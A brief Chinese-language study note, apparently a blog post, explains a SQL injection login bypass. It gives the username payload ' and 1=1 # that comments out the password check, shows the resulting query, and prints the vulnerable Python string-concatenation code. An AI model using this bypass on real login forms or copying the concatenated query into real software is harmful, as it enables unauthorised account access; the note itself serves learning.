今天學習了一種sql注入方法,通過注釋密碼驗證部分的sql語句。
這是登陸界面
在用戶名如果輸入 15284206891' and 1=1 #
密碼可以隨意輸入即可登陸成功
原理如下:
在sql可視化工具輸入
SELECT userphone,userpass FROM userdata WHERE userphone='15284206891' AND 1=1 #' and userpass = ''
發現可以執行成功
原理就是在用戶名輸入框輸入了sql語句和后面的語句進行拼接 #是sql語言的單行注釋符號
Python代碼
sql = "select userphone,userpass from userdata where userphone=' "+userphone+" ' and userpass = '"+password+"'"